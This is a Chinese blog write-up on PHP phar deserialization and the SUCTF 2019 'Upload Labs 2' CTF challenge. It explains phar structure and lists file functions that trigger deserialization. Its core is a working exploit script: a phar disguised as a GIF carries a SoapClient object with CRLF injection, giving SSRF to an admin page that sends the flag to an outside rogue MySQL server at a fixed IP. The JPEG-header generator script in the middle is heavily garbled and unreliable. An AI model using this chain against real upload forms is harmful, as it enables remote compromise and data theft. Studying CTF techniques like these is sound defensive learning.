phar相关安全知识总结
- 2019 年 10 月 4 日
- 筆記
本文首发先知社区
前言
我是头回学习到phar RCE的相关知识,通过这次的SUCTF,通过复现大佬们所说的知识,发现了很多有意思的东西,过来记录一下,同时也总结了一些phar序列化的一些技巧,算是一次整理,大佬们不要见笑。
背景知识
phar文件结构
在php>=5.3的时候,默认开启支持Phar,文件状态为只读,而且使用phar文件不需要任何配置。php使用phar://伪协议来解析phar文件的内容。
其文件结构包括4个部分:
- stub phar 扩展识别的标志 格式为
xxx<?php xxx; __HALT_COMPILER();?>
- manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
- contents 压缩文件的内容
- signature 文件的签名内容
phar使用方式
如下是一个使用phar的一个例子:
<?php class User{ var $name; function __destruct(){ echo "fangzhang"; } } @unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->name = "test"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
得到的test.phar 内容如下:
: c3f 5f5f c54 5f43 4f4d <?php __HALT_COM : c45 b 203f 3e0d a5b PILER(); ?>..[.. : ...............% : 004f a34 a22 a a ...O::"User":: : b73 a34 a22 6e61 6d65 b a a {s::"name";s:: : b7d "test";}....test : 2e74 46fc 6e5d .txt....F.n].... : c7e 7fd8 b601 .~..........test : 9d18 c48 ba24 ed6 a810 aac e ..LH.$n...6.*..N : aee e818 4d42 j.......GBMB
可以看到,有一部分是序列化之后的内容,就是我们在上一部分所说的manifest
也就是meta-data
phar序列化原理
使用phra://伪协议读取文件的时候,文件会被解析成phar对象,这个时候,刚才那部分的序列化的信息就会被反序列化,这就是漏洞的原理。
简单的测试一下:还是利用刚才的代码生成的test.phar文件
<?php class User{ var $name; function __destruct(){ echo "test"; } } $file = "phar://test.phar"; @file_get_contents($file); ?>
运行结果显示调用了User类的析构函数。
漏洞利用
函数扩展
根据以上代码的测试可知,只要phar://协议解析文件的时候,就会造成序列化的问题,类似这样的函数不光有file_get_contents
还有其他函数;
有大牛曾经总结过,所有文件操作的函数都可以触发这种序列化:
fileatime
filectime
filemtime
stat
fileinode
fileowner
filegroup
fileperms
file
file_get_contents
readfile
fopen
file_exists
is_dir
is_executable
is_file
is_link
is_readable
is_writeable
is_writable
parse_ini_file
unlink
copy
还有大牛深入的分析过这些函数的原理,并且加以扩展:
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
get_meta_tags
get_headers
getimagesize
getimagesizefromstring
几乎所有和IO有关的函数都涉及到了
利用条件分析
对环境的要求无非就是可以让程序的后端使用上述列出来的函数或者其他函数加载我们上传的phar文件,所以对环境也无非有以下要求:
可以上传我们构造的phar文件 这要求服务器端可以上传,或者自动生成,既然phar的文件标识是 xxx<?php xxx; __HALT_COMPILER();?> 我们可以构造xxx 实质成为我们想成为的任何文件,最常见的利用方式就是将其变为gif文件 ,就是把文件上加上"GIF89a"即可, 可是,如果要是要求上传一个真的图片呢: 可以通过这个思路构造一个图片以下是脚本: <?php class TestObject {} jpeg¨E95Eheader¨E95Esize¨E61E"¨EExff¨EExd¨EExff¨EExe¨EEx¨EEx¨EExa¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExff¨EExfe¨EEx¨EEx"."¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExd¨EEx¨EExff¨EExdb¨EEx¨EEx¨EEx¨EEx¨EEx"."¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExa¨EEx¨EEx¨EEx¨EEx¨EExc¨EExa¨EExc¨EExc¨EExb¨EExa¨EExb¨EExb¨EExd¨EExe¨EEx¨EEx¨EExd¨EExe¨EEx¨EExe¨EExb¨EExb¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx"."¨EEx¨EExc¨EExf¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExff¨EExdb¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExd¨EExb¨EExd¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx"."¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Exff¨E92Exc2¨E92Ex00¨E92Ex11¨E92Ex08¨E92Ex00¨E92Ex0a¨E92Ex00¨E92Ex0a¨E92Ex03¨E92Ex01¨E92Ex11¨E92Ex00¨E92Ex02¨E92Ex11¨E92Ex01¨E92Ex03¨E92Ex11¨E92Ex01"."¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex15¨E92Ex00¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex08¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03"."¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex10¨E92Ex03¨E92Ex10¨E92Ex00¨E92Ex00¨E92Ex01¨E92Ex95¨E92Ex00¨E92Ex07¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex05¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11"."¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20"."¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex06¨E92Ex3f¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex21¨E92Ex1f¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex00¨E92Ex03¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex10¨E92Ex92¨E92Ex4f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda"."¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exd9";jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13"."x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02"."x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15"."x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14"."x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01"."xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03"."x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11"."x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"."xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01"."x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00"."x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda"."x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";jpeg¨E95Eheader¨E95Esize¨E61E"¨EExff¨EExd¨EExff¨EExe¨EEx¨EEx¨EExa¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx0¨E92Exff¨E92Exfe¨E92Ex00¨E92Ex13"."¨E92Ex43¨E92Ex72¨E92Ex65¨E92Ex61¨E92Ex74¨E92Ex65¨E92Ex64¨E92Ex20¨E92Ex77¨E92Ex69¨E92Ex74¨E92Ex68¨E92Ex20¨E92Ex47¨E92Ex49¨E92Ex4d¨E92Ex50¨E92Exff¨E92Exdb¨E92Ex00¨E92Ex43¨E92Ex00¨E92Ex03¨E92Ex02"."¨E92Ex02¨E92Ex03¨E92Ex02¨E92Ex02¨E92Ex03¨E92Ex03¨E92Ex03¨E92Ex03¨E92Ex04¨E92Ex03¨E92Ex03¨E92Ex04¨E92Ex05¨E92Ex08¨E92Ex05¨E92Ex05¨E92Ex04¨E92Ex04¨E92Ex05¨E92Ex0a¨E92Ex07¨E92Ex07¨E92Ex06¨E92Ex08¨E92Ex0c¨E92Ex0a¨E92Ex0c¨E92Ex0c¨E92Ex0b¨E92Ex0a¨E92Ex0b¨E92Ex0b¨E92Ex0d¨E92Ex0e¨E92Ex12¨E92Ex10¨E92Ex0d¨E92Ex0e¨E92Ex11¨E92Ex0e¨E92Ex0b¨E92Ex0b¨E92Ex10¨E92Ex16¨E92Ex10¨E92Ex11¨E92Ex13¨E92Ex14¨E92Ex15¨E92Ex15"."¨E92Ex15¨E92Ex0c¨E92Ex0f¨E92Ex17¨E92Ex18¨E92Ex16¨E92Ex14¨E92Ex18¨E92Ex12¨E92Ex14¨E92Ex15¨E92Ex14¨E92Exff¨E92Exdb¨E92Ex00¨E92Ex43¨E92Ex01¨E92Ex03¨E92Ex04¨E92Ex04¨E92Ex05¨E92Ex04¨E92Ex05¨E92Ex09¨E92Ex05¨E92Ex05¨E92Ex09¨E92Ex14¨E92Ex0d¨E92Ex0b¨E92Ex0d¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14"."¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Exff¨E92Exc2¨E92Ex00¨E92Ex11¨E92Ex08¨E92Ex00¨E92Ex0a¨E92Ex00¨E92Ex0a¨E92Ex03¨E92Ex01¨E92Ex11¨E92Ex00¨E92Ex02¨E92Ex11¨E92Ex01¨E92Ex03¨E92Ex11¨E92Ex01"."¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex15¨E92Ex00¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex08¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03"."¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex10¨E92Ex03¨E92Ex10¨E92Ex00¨E92Ex00¨E92Ex01¨E92Ex95¨E92Ex00¨E92Ex07¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex05¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11"."¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20"."¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex06¨E92Ex3f¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex21¨E92Ex1f¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex00¨E92Ex03¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex10¨E92Ex92¨E92Ex4f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda"."¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exd9";phar = new Phar("phar.phar");不能识别此Latex公式:phar->startBuffering();phar->addFromString("test.txt","test");不能识别此Latex公式:phar->setStub(jpeg_header_size." __HALT_COMPILER(); ?>");o¨E61EnewTestObject();o = new TestObject();o¨E61EnewTestObject();phar->setMetadata(o);o);o);phar->stopBuffering(); 上如,可以生成一张正常的图片来绕过getimagesize的检测
- 魔术方法可以调用 这个没什么好说的,跟普通的序列化利用方法差不多,需要找到自己可以执行的代码。
- 有IO操作 简单来讲就是可以使用phar://协议读取文件 如果不能phar不能出现在开始,网上有绕过的姿势:
例题分析
例题就是前一段时间的SUCTF的Upload labs 2
环境搭建
源码在这里:
https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202
直接
docker-compose build docker-compose up
然后直接访问
这种搭建环境的事,建议直接在vps上搞,不图别的,就因为网速贼快。。。。
题目分析
题目直接是代码审计
给出了源码
题目可以上传文件,然后查看文件的内容
其中根据源码可以看到:
if (isset($_POST["upload"])) { // 允许上传的图片后缀 $allowedExts = array("gif", "jpeg", "jpg", "png"); $tmp_name = $_FILES["file"]["tmp_name"]; $file_name = $_FILES["file"]["name"]; $temp = explode(".", $file_name); $extension = end($temp); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < ) // 小于 200 kb && in_array($extension, $allowedExts) ) { $c = new Check($tmp_name); $c->check();
可以通过上传gif文件
有一个
function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }
可以通过
<script language="php"><script>
来绕过
然后在提交得页面
if (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\s)*|(.|\s)*(file|data|..)(.|\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; } }
可以通过php:filter协议绕过
有一个c−>check();如下¨G6G可以通过¨G7G来绕过然后在提交得页面¨G8G可以通过php:filter协议绕过有一个file->getMIME();是重点
<?php include 'config.php'; class File{ public $file_name; public $type; public $func = "Check"; function __construct($file_name){ $this->file_name = $file_name; } function __wakeup(){ $class = new ReflectionClass($this->func); $a = $class->newInstanceArgs($this->file_name); $a->check(); } function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); } function __toString(){ return $this->type; } }
这是整个类得代码
我们想要通过phar协议序列化得内容也就是从这里来的
还有admin.php 需要ssrf才能得到flag。
ssrf里面还有一些坑没有走出来,主要是对于php的回调函数不是很理解,所以先分析到这里把writeup粘贴在这儿,我太菜了orz。。。。。。
其中有一段代码:
$reflect = new ReflectionClass($this->clazz); $this->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); $reflectionMethod->invoke($this->instance, $this->arg1); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); $reflectionMethod->invoke($this->instance, $this->arg2); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); $reflectionMethod->invoke($this->instance, $this->arg3);
解题步骤
<?php class File{ public $file_name; public $type; public $func = "SoapClient"; function __construct($file_name){ $this->file_name = $file_name; } } class Ad{ public $clazz; public $func1; public $func2; public $instance; public $arg1; public $arg2; // $reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect'); // echo $reflectionMethod->invoke($sql, '106.14.153.173','root','123456','test','3306'); // $reflectionMethod = new ReflectionMethod('Mysqli', 'query'); // echo $reflectionMethod->invoke($sql, 'select 1'); } $target = 'http://127.0.0.1/admin.php'; // $target = "http://106.14.153.173:2015"; $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015'; $headers = array( 'X-Forwarded-For: 127.0.0.1', ); // $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zeddrnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,"uri" => "aaab")); $arr = array(null, array("location" => $target,"user_agent"=>"zeddrnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,"uri" => "aaab")); $phar = new Phar("1.phar"); //后缀名必须为phar $phar->startBuffering(); // <?php __HALT_COMPILER(); $phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //设置stub $o = new File($arr); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //签名自动计算 $phar->stopBuffering(); rename("1.phar", "1.gif"); ?>
通过 phar.php 生成 1.gif,通过上传页面上传得到路径。 记录路径为
upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
在 rogue mysql 服务器上读取文件的位置使用 phar 协议读取
phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
去 func.php 提交
php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
就可以在自己服务器监听的端口收到 flag 了。
主要是 phar soap client crlf 那里
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015';
ip & port 两个参数是用来获取 flag 的
后记
关于phar的知识已经有很多了,也很值得大家去深挖,很佩服大佬们探究本源的精神,也希望自己能不断的向大佬们学习这些知识。感觉自己还是有很多东西不会,不熟,不懂需要跟加深入的研究
参考链接
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6057#toc-6